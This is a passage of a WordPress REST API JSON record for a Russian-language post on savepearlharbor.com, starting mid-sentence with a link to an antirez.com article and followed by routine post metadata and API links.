\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c <a href=\"http:\/\/antirez.com\/news\/135\">\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0449\u0435\u0433\u043e<\/a>.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-353681","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/353681","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=353681"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/353681\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=353681"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=353681"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=353681"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}